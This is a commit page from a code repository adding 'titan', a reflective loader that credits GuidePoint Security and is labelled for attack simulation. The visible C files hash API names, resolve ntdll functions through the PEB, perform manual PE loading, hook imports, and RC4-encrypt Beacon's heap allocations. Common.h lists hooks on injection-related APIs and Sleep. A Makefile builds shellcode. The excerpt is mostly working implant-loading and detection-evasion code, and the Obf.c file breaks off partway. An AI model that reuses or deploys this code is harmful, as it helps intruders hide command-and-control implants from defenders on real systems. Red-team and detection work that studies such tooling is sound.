Projects STRLCPY titan Commits 57c5feeb
🤬
  • titan: commit internal project work

  • Loading...
  • SecIdiot committed 1 year ago
    57c5feeb
Showing first 53 files as there are too many
  • ■ ■ ■ ■ ■ ■
    Arc4.c
     1 +/**
     2 + 
     3 +BSD 3-Clause License
     4 + 
     5 +Copyright (c) 2021, Mike Gelfand
     6 +All rights reserved.
     7 + 
     8 +Redistribution and use in source and binary forms, with or without
     9 +modification, are permitted provided that the following conditions are met:
     10 + 
     11 +1. Redistributions of source code must retain the above copyright notice, this
     12 + list of conditions and the following disclaimer.
     13 + 
     14 +2. Redistributions in binary form must reproduce the above copyright notice,
     15 + this list of conditions and the following disclaimer in the documentation
     16 + and/or other materials provided with the distribution.
     17 + 
     18 +3. Neither the name of the copyright holder nor the names of its
     19 + contributors may be used to endorse or promote products derived from
     20 + this software without specific prior written permission.
     21 + 
     22 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     23 +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     24 +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     25 +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     26 +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     27 +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     28 +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     29 +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     30 +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     31 +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     32 + 
     33 +**/
     34 + 
     35 +#include "Common.h"
     36 + 
     37 +#define ARC4_MAGIC 0x34637261 // 'arc4' (LE)
     38 + 
     39 +D_SEC( E ) void arc4_swap(struct arc4_context* ctx, size_t i, size_t j)
     40 +{
     41 + uint8_t const t = ctx->s[i];
     42 + ctx->s[i] = ctx->s[j];
     43 + ctx->s[j] = t;
     44 +}
     45 + 
     46 +D_SEC( E ) uint8_t arc4_next(struct arc4_context* ctx)
     47 +{
     48 + ctx->i += 1;
     49 + ctx->j += ctx->s[ctx->i];
     50 + 
     51 + arc4_swap(ctx, ctx->i, ctx->j);
     52 + 
     53 + return ctx->s[(uint8_t)(ctx->s[ctx->i] + ctx->s[ctx->j])];
     54 +}
     55 + 
     56 +D_SEC( E ) void arc4_init(struct arc4_context* ctx, void const* key, size_t key_length)
     57 +{
     58 +#ifndef NDEBUG
     59 + ctx->magic = ARC4_MAGIC;
     60 +#endif
     61 + 
     62 + ctx->i = 0;
     63 + ctx->j = 0;
     64 + 
     65 + for (size_t i = 0; i < 256; ++i)
     66 + {
     67 + ctx->s[i] = (uint8_t)i;
     68 + }
     69 + 
     70 + for (size_t i = 0, j = 0; i < 256; ++i)
     71 + {
     72 + j = (uint8_t)(j + ctx->s[i] + ((uint8_t const*)key)[i % key_length]);
     73 + arc4_swap(ctx, i, j);
     74 + }
     75 +}
     76 + 
     77 +D_SEC( E ) void arc4_process(struct arc4_context* ctx, void const* src_data, void* dst_data, size_t data_length)
     78 +{
     79 + if (data_length == 0)
     80 + {
     81 + return;
     82 + }
     83 + 
     84 + for (size_t i = 0; i < data_length; ++i)
     85 + {
     86 + ((uint8_t*)dst_data)[i] = ((uint8_t const*)src_data)[i] ^ arc4_next(ctx);
     87 + }
     88 +}
     89 + 
     90 +D_SEC( E ) void arc4_discard(struct arc4_context* ctx, size_t length)
     91 +{
     92 + for (size_t i = 0; i < length; ++i)
     93 + {
     94 + arc4_next(ctx);
     95 + }
     96 +}
     97 + 
  • ■ ■ ■ ■ ■ ■
    Arc4.h
     1 +/**
     2 + 
     3 +BSD 3-Clause License
     4 + 
     5 +Copyright (c) 2021, Mike Gelfand
     6 +All rights reserved.
     7 + 
     8 +Redistribution and use in source and binary forms, with or without
     9 +modification, are permitted provided that the following conditions are met:
     10 + 
     11 +1. Redistributions of source code must retain the above copyright notice, this
     12 + list of conditions and the following disclaimer.
     13 + 
     14 +2. Redistributions in binary form must reproduce the above copyright notice,
     15 + this list of conditions and the following disclaimer in the documentation
     16 + and/or other materials provided with the distribution.
     17 + 
     18 +3. Neither the name of the copyright holder nor the names of its
     19 + contributors may be used to endorse or promote products derived from
     20 + this software without specific prior written permission.
     21 + 
     22 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     23 +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     24 +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     25 +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     26 +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     27 +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     28 +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     29 +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     30 +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     31 +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     32 + 
     33 +**/
     34 + 
     35 +#pragma once
     36 + 
     37 +#include <stddef.h>
     38 +#include <stdint.h>
     39 + 
     40 +#ifdef __cplusplus
     41 +extern "C" {
     42 +#endif
     43 + 
     44 +struct arc4_context
     45 +{
     46 +#ifndef NDEBUG
     47 + uint32_t magic;
     48 +#endif
     49 + uint8_t i;
     50 + uint8_t j;
     51 + uint8_t s[256];
     52 +};
     53 + 
     54 +typedef struct arc4_context ARC4_CTX;
     55 + 
     56 +D_SEC( E ) void arc4_init(struct arc4_context* ctx, void const* key, size_t key_length);
     57 +D_SEC( E ) void arc4_process(struct arc4_context* ctx, void const* src_data, void* dst_data, size_t data_length);
     58 +D_SEC( E ) void arc4_discard(struct arc4_context* ctx, size_t length);
     59 + 
     60 +#ifdef __cplusplus
     61 +}
     62 +#endif
     63 + 
  • ■ ■ ■ ■ ■ ■
    Common.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/* Include core defs */
     14 +#include <windows.h>
     15 +#include <wininet.h>
     16 +#include <windns.h>
     17 +#include <oleauto.h>
     18 +#include <wtypes.h>
     19 +#include <ntstatus.h>
     20 +#include <winioctl.h>
     21 +#include <intrin.h>
     22 +#include "Native.h"
     23 +#include "Macros.h"
     24 +#include "Config.h"
     25 +#include "Arc4.h"
     26 + 
     27 +/* Include Library */
     28 +#include "HeapList.h"
     29 +#include "PipeList.h"
     30 +#include "PreMain.h"
     31 +#include "Labels.h"
     32 +#include "Random.h"
     33 +#include "Titan.h"
     34 +#include "Table.h"
     35 +#include "Hash.h"
     36 +#include "Heap.h"
     37 +#include "Peb.h"
     38 +#include "Ldr.h"
     39 +#include "Hde.h"
     40 +#include "Obf.h"
     41 +#include "Pe.h"
     42 + 
     43 +/* Include Hooks! */
     44 +#include "hooks/WaitForSingleObject.h"
     45 +#include "hooks/NtMapViewOfSection.h"
     46 +#include "hooks/WriteProcessMemory.h"
     47 +#include "hooks/ReadProcessMemory.h"
     48 +#include "hooks/VirtualProtectEx.h"
     49 +#include "hooks/NtQueueApcThread.h"
     50 +#include "hooks/SetThreadContext.h"
     51 +#include "hooks/CreateNamedPipeA.h"
     52 +#include "hooks/ConnectNamedPipe.h"
     53 +#include "hooks/GetProcAddress.h"
     54 +#include "hooks/VirtualAllocEx.h"
     55 +#include "hooks/CreateThread.h"
     56 +#include "hooks/HeapReAlloc.h"
     57 +#include "hooks/CloseHandle.h"
     58 +#include "hooks/DnsQuery_A.h"
     59 +#include "hooks/ExitThread.h"
     60 +#include "hooks/HeapAlloc.h"
     61 +#include "hooks/WriteFile.h"
     62 +#include "hooks/ReadFile.h"
     63 +#include "hooks/HeapFree.h"
     64 +#include "hooks/Sleep.h"
     65 + 
  • ■ ■ ■ ■ ■ ■
    Config.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +typedef struct __attribute__(( packed, scalar_storage_order( "big-endian" ) ))
     14 +{
     15 + UINT32 Rc4Len;
     16 + UINT8 KeyBuf[ 16 ];
     17 + UINT8 Rc4Buf[ 0 ];
     18 +} CONFIG, *PCONFIG ;
     19 + 
  • ■ ■ ■ ■ ■ ■
    Hash.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Creates a hash summary of the input buffer.
     18 + * If a length is not provided, it assumes it
     19 + * is NULL terminated.
     20 + *
     21 +!*/
     22 + 
     23 +D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length )
     24 +{
     25 + UCHAR Cur = 0;
     26 + ULONG Djb = 0;
     27 + PUCHAR Ptr = NULL;
     28 + 
     29 + Djb = 5381;
     30 + Ptr = C_PTR( Buffer );
     31 + 
     32 + while ( TRUE ) {
     33 + /* Get the current character */
     34 + Cur = * Ptr;
     35 + 
     36 + if ( ! Length ) {
     37 + /* NULL terminated? */
     38 + if ( ! * Ptr ) {
     39 + break;
     40 + };
     41 + } else {
     42 + /* Position exceed the length of the buffer? */
     43 + if ( ( ULONG )( Ptr - ( PUCHAR ) Buffer ) >= Length ) {
     44 + break;
     45 + };
     46 + /* NULL terminated? */
     47 + if ( ! * Ptr ) {
     48 + ++Ptr; continue;
     49 + };
     50 + };
     51 + /* Lowercase */
     52 + if ( Cur >= 'a' ) {
     53 + Cur -= 0x20;
     54 + };
     55 + 
     56 + /* Hash the character */
     57 + Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr;
     58 + };
     59 + return Djb;
     60 +};
     61 + 
  • ■ ■ ■ ■ ■ ■
    Hash.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Creates a hash summary of the input buffer.
     18 + * If a length is not provided, it assumes it
     19 + * is NULL terminated.
     20 + *
     21 +!*/
     22 + 
     23 +D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length );
     24 + 
  • ■ ■ ■ ■ ■ ■
    Hde.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/* Is not x64? */
     14 +#ifndef _WIN64
     15 + /* Include x86 dissasembler */
     16 + #include "hde/hde32.h"
     17 + /* Force common name */
     18 + typedef hde32s HDE;
     19 + /* Force common func */
     20 + #define HDE_DISASM( code, hs ) hde32_disasm( code, hs )
     21 +#else
     22 + /* Include x64 dissasembler */
     23 + #include "hde/hde64.h"
     24 + /* Force common name */
     25 + typedef hde64s HDE;
     26 + /* Force common func */
     27 + #define HDE_DISASM( code, hs ) hde64_disasm( code, hs )
     28 +#endif
     29 + 
  • ■ ■ ■ ■ ■ ■
    Heap.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Encrypts every heap allocation made by Beacon
     18 + * using ARC-4 symetric algorithm.
     19 + *
     20 +!*/
     21 +D_SEC( E ) VOID HeapEncryptDecrypt( _In_ PCHAR Key, _In_ UINT32 KeyLength )
     22 +{
     23 + ARC4_CTX Arc;
     24 + 
     25 + PTABLE Tbl = NULL;
     26 + PLIST_ENTRY Hdr = NULL;
     27 + PLIST_ENTRY Ent = NULL;
     28 + PHEAP_ENTRY_BEACON Heb = NULL;
     29 + 
     30 + /* Zero out stack structures */
     31 + RtlSecureZeroMemory( &Arc, sizeof( Arc ) );
     32 + 
     33 + /* Init the key */
     34 + arc4_init( &Arc, Key, KeyLength );
     35 + 
     36 + /* Setup heap buffer list */
     37 + Tbl = C_PTR( G_SYM( Table ) );
     38 + Hdr = C_PTR( & Tbl->Table->HeapList );
     39 + Ent = C_PTR( Hdr->Flink );
     40 + 
     41 + /* Enumerate the complete list of entries */
     42 + for ( ; Ent != Hdr ; Ent = C_PTR( Ent->Flink ) ) {
     43 + /* Pointer to the structure */
     44 + Heb = C_PTR( CONTAINING_RECORD( Ent, HEAP_ENTRY_BEACON, HeapList ) );
     45 + 
     46 + /* Encrypt / Decrypt the buffer! */
     47 + arc4_process( &Arc, Heb->Buffer, Heb->Buffer, Heb->Length );
     48 + };
     49 + 
     50 + /* Zero out stack structures */
     51 + RtlSecureZeroMemory( &Arc, sizeof( Arc ) );
     52 +};
     53 + 
  • ■ ■ ■ ■ ■ ■
    Heap.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Encrypts every heap allocation made by Beacon
     18 + * using ARC-4 symetric algorithm.
     19 + *
     20 +!*/
     21 +D_SEC( E ) VOID HeapEncryptDecrypt( _In_ PCHAR Key, _In_ UINT32 KeyLength );
     22 + 
  • ■ ■ ■ ■ ■ ■
    HeapList.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +typedef struct
     14 +{
     15 + LIST_ENTRY HeapList;
     16 + LPVOID Buffer;
     17 + SIZE_T Length;
     18 +} HEAP_ENTRY_BEACON, *PHEAP_ENTRY_BEACON ;
     19 + 
  • ■ ■ ■ ■ ■ ■
    Labels.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +static ULONG_PTR Start( VOID );
     14 +static ULONG_PTR GetIp( VOID );
     15 +static ULONG_PTR Table( VOID );
     16 + 
  • ■ ■ ■ ■ ■ ■
    Ldr.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack SimulatioN
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +typedef struct
     14 +{
     15 + WORD Offset : 0xc;
     16 + WORD Type : 0x4;
     17 +} IMAGE_RELOC, *PIMAGE_RELOC ;
     18 + 
     19 +typedef struct
     20 +{
     21 + D_API( RtlAnsiStringToUnicodeString );
     22 + D_API( LdrGetProcedureAddress );
     23 + D_API( RtlFreeUnicodeString );
     24 + D_API( RtlInitAnsiString );
     25 + D_API( LdrLoadDll );
     26 +} API;
     27 + 
     28 +#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */
     29 +#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */
     30 +#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */
     31 +#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */
     32 +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
     33 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     34 + 
     35 +/*!
     36 + *
     37 + * Purpose:
     38 + *
     39 + * Resolves the required imports and fills
     40 + * in their respective entries.
     41 + *
     42 +!*/
     43 + 
     44 +D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory )
     45 +{
     46 + API Api;
     47 + ANSI_STRING Ani;
     48 + UNICODE_STRING Unm;
     49 + 
     50 + PVOID Mod = NULL;
     51 + PVOID Fcn = NULL;
     52 + PIMAGE_THUNK_DATA Otd = NULL;
     53 + PIMAGE_THUNK_DATA Ntd = NULL;
     54 + PIMAGE_IMPORT_BY_NAME Ibn = NULL;
     55 + PIMAGE_IMPORT_DESCRIPTOR Imp = NULL;
     56 + 
     57 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     58 + RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
     59 + RtlSecureZeroMemory( &Unm, sizeof( Unm ) );
     60 + 
     61 + Api.RtlAnsiStringToUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLANSISTRINGTOUNICODESTRING );
     62 + Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS );
     63 + Api.RtlFreeUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEUNICODESTRING );
     64 + Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING );
     65 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     66 + 
     67 + /* Enumerate the directory. */
     68 + for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) {
     69 + Api.RtlInitAnsiString( &Ani, C_PTR( U_PTR( Image ) + Imp->Name ) );
     70 + 
     71 + if ( NT_SUCCESS( Api.RtlAnsiStringToUnicodeString( &Unm, &Ani, TRUE ) ) ) {
     72 + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Unm, &Mod ) ) ) {
     73 + Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk );
     74 + Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk );
     75 + 
     76 + /* Enumerate Function Imports */
     77 + for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) {
     78 + if ( IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) {
     79 + /* Is Integer? Import */
     80 + if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, NULL, IMAGE_ORDINAL( Otd->u1.Ordinal ), &Fcn ) ) ) {
     81 + Ntd->u1.Function = Fcn;
     82 + };
     83 + } else {
     84 + /* Is String? Import */
     85 + Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData );
     86 + Api.RtlInitAnsiString( &Ani, C_PTR( Ibn->Name ) );
     87 + 
     88 + if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, &Ani, 0, &Fcn ) ) ) {
     89 + Ntd->u1.Function = Fcn;
     90 + };
     91 + };
     92 + };
     93 + };
     94 + Api.RtlFreeUnicodeString( &Unm );
     95 + };
     96 + };
     97 +};
     98 + 
     99 +/*!
     100 + *
     101 + * Purpose:
     102 + *
     103 + * Relocates the PE based on its relative base.
     104 + *
     105 +!*/
     106 + 
     107 +D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase )
     108 +{
     109 + ULONG_PTR Ofs = 0;
     110 + 
     111 + PIMAGE_RELOC Rel = NULL;
     112 + PIMAGE_BASE_RELOCATION Ibr = NULL;
     113 + 
     114 + Ibr = C_PTR( Directory );
     115 + Ofs = C_PTR( U_PTR( Image ) - U_PTR( ImageBase ) );
     116 + 
     117 + /* Is a relocation! */
     118 + while ( Ibr->VirtualAddress != 0 ) {
     119 + Rel = ( PIMAGE_RELOC )( Ibr + 1 );
     120 + 
     121 + /* Exceed the size of the relocation? */
     122 + while ( C_PTR( Rel ) != C_PTR( U_PTR( Ibr ) + Ibr->SizeOfBlock ) ) {
     123 + switch( Rel->Type ) {
     124 + /* 8 wide */
     125 + case IMAGE_REL_BASED_DIR64:
     126 + *( DWORD64 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD64 )( Ofs );
     127 + break;
     128 + /* 4 wide */
     129 + case IMAGE_REL_BASED_HIGHLOW:
     130 + *( DWORD32 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD32 )( Ofs );
     131 + break;
     132 + };
     133 + ++Rel;
     134 + };
     135 + Ibr = C_PTR( Rel );
     136 + };
     137 +};
     138 + 
     139 +/*!
     140 + *
     141 + * Purpose:
     142 + *
     143 + * Applies a hook the import table of a PE.
     144 + *
     145 +!*/
     146 + 
     147 +D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function )
     148 +{
     149 + ULONG Djb = 0;
     150 + 
     151 + PIMAGE_THUNK_DATA Otd = NULL;
     152 + PIMAGE_THUNK_DATA Ntd = NULL;
     153 + PIMAGE_IMPORT_BY_NAME Ibn = NULL;
     154 + PIMAGE_IMPORT_DESCRIPTOR Imp = NULL;
     155 + 
     156 + for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) {
     157 + Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk );
     158 + Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk );
     159 + 
     160 + for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) {
     161 + if ( ! IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) {
     162 + Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData );
     163 + Djb = HashString( Ibn->Name, 0 );
     164 + 
     165 + if ( Djb == Hash ) {
     166 + Ntd->u1.Function = C_PTR( Function );
     167 + };
     168 + };
     169 + };
     170 + };
     171 +};
     172 + 
  • ■ ■ ■ ■ ■ ■
    Ldr.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack SimulatioN
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Resolves the required imports and fills
     18 + * in their respective entries.
     19 + *
     20 +!*/
     21 + 
     22 +D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory );
     23 + 
     24 +/*!
     25 + *
     26 + * Purpose:
     27 + *
     28 + * Relocates the PE based on its relative base.
     29 + *
     30 +!*/
     31 + 
     32 +D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase );
     33 + 
     34 +/*!
     35 + *
     36 + * Purpose:
     37 + *
     38 + * Applies a hook the import table of a PE.
     39 + *
     40 +!*/
     41 + 
     42 +D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function );
     43 + 
  • ■ ■ ■ ■ ■ ■
    Macros.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/* Gets a pointer to the function or string via its relative offset to GetIp() */
     14 +#define G_SYM( x ) ( ULONG_PTR )( GetIp( ) - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) )
     15 + 
     16 +/* Sets a function in a specific region of memory */
     17 +#define D_SEC( x ) __attribute__(( section( ".text$" #x ) ))
     18 + 
     19 +/* Cast as a pointer with the specified typedef */
     20 +#define D_API( x ) __typeof__( x ) * x
     21 + 
     22 +/* Cast as a unsigned pointer-wide integer type */
     23 +#define U_PTR( x ) ( ( ULONG_PTR ) x )
     24 + 
     25 +/* Cast as a unsigned pointer-wide type */
     26 +#define C_PTR( x ) ( ( PVOID ) x )
     27 + 
     28 +/* Arch Specific Macros */
     29 +#if defined( _WIN64 )
     30 + /* Get the end of code: x64 */
     31 + #define G_END( x ) U_PTR( GetIp( ) + 11 )
     32 +#else
     33 + /* Get the end of code: x86 */
     34 + #define G_END( x ) U_PTR( GetIp( ) + 10 )
     35 +#endif
     36 + 
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +CC_X64 := x86_64-w64-mingw32-gcc
     2 +CC_X86 := i686-w64-mingw32-gcc
     3 + 
     4 +CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib
     5 +CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1
     6 +CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1 -w
     7 +CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -Wl,-TSectionLink.ld
     8 +LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup
     9 + 
     10 +OUTX64 := Titan.x64.exe
     11 +OUTX86 := Titan.x86.exe
     12 +BINX64 := Titan.x64.bin
     13 +BINX86 := Titan.x86.bin
     14 + 
     15 +all:
     16 + @ nasm -f win32 asm/x86/Start.asm -o Start.x86.o
     17 + @ nasm -f win64 asm/x64/Start.asm -o Start.x64.o
     18 + @ nasm -f win32 asm/x86/GetIp.asm -o GetIp.x86.o
     19 + @ nasm -f win64 asm/x64/GetIp.asm -o GetIp.x64.o
     20 + @ $(CC_X86) *.c Start.x86.o GetIp.x86.o hooks/*.c hde/*32*.c -o $(OUTX86) $(CFLAGS) $(LFLAGS) -I.
     21 + @ $(CC_X64) *.c Start.x64.o GetIp.x64.o hooks/*.c hde/*64*.c -o $(OUTX64) $(CFLAGS) $(LFLAGS) -I.
     22 + @ python3 python3/extract.py -f $(OUTX86) -o $(BINX86)
     23 + @ python3 python3/extract.py -f $(OUTX64) -o $(BINX64)
     24 + 
     25 +clean:
     26 + @ rm -rf *.o
     27 + @ rm -rf *.bin
     28 + @ rm -rf *.exe
     29 + 
  • Native.h
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    Obf.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +#if defined( _WIN64 )
     14 + 
     15 +NTSTATUS
     16 +NTAPI
     17 +RtlRegisterWaitQueue(
     18 + _In_ PHANDLE NewTimerQueue
     19 +);
     20 + 
     21 +NTSTATUS
     22 +NTAPI
     23 +RtlCopyMappedMemory(
     24 + _In_ LPVOID Destination,
     25 + _In_ LPVOID Source,
     26 + _In_ SIZE_T Length
     27 +);
     28 + 
     29 +typedef struct
     30 +{
     31 + DWORD Length;
     32 + DWORD MaximumLength;
     33 + PVOID Buffer;
     34 +} USTRING, *PUSTRING ;
     35 + 
     36 +typedef struct
     37 +{
     38 + PVOID Rsp;
     39 + PVOID Ev1;
     40 + PVOID Ev2;
     41 +} THREAD_PARAM, *PTHREAD_PARAM ;
     42 + 
     43 +typedef struct
     44 +{
     45 + PVOID Thread;
     46 + PVOID Master;
     47 + PVOID Slaves;
     48 + 
     49 + D_API( SwitchToFiber );
     50 +} FIBER_PARAM, *PFIBER_PARAM ;
     51 + 
     52 +typedef struct
     53 +{
     54 + PVOID TebInformation;
     55 + ULONG TebOffset;
     56 + ULONG BytesToRead;
     57 +} THREAD_TEB_INFORMATION ;
     58 + 
     59 +NTSTATUS
     60 +NTAPI
     61 +SystemFunction032(
     62 + _In_ PUSTRING Buffer,
     63 + _In_ PUSTRING Key
     64 +);
     65 + 
     66 +typedef struct
     67 +{
     68 + D_API( SetProcessValidCallTargets );
     69 +} CFG_API ;
     70 + 
     71 +typedef struct
     72 +{
     73 + D_API( RtlRemoveVectoredExceptionHandler );
     74 + D_API( RtlAddVectoredExceptionHandler );
     75 + D_API( RtlRegisterWait );
     76 +} HCK_API ;
     77 + 
     78 +typedef struct
     79 +{
     80 + D_API( NtQueryInformationThread );
     81 + D_API( LdrGetProcedureAddress );
     82 + D_API( NtWaitForSingleObject );
     83 + D_API( ConvertThreadToFiber );
     84 + D_API( ConvertFiberToThread );
     85 + D_API( RtlInitUnicodeString );
     86 + D_API( NtSetContextThread );
     87 + D_API( NtGetContextThread );
     88 + D_API( RtlInitAnsiString );
     89 + D_API( NtCreateThreadEx );
     90 + D_API( NtSuspendThread );
     91 + D_API( RtlAllocateHeap );
     92 + D_API( NtResumeThread );
     93 + D_API( NtCreateEvent );
     94 + D_API( SwitchToFiber );
     95 + D_API( LdrUnloadDll );
     96 + D_API( RtlFreeHeap );
     97 + D_API( CreateFiber );
     98 + D_API( DeleteFiber );
     99 + D_API( NtSetEvent );
     100 + D_API( LdrLoadDll );
     101 + D_API( NtClose );
     102 +} MIN_API ;
     103 + 
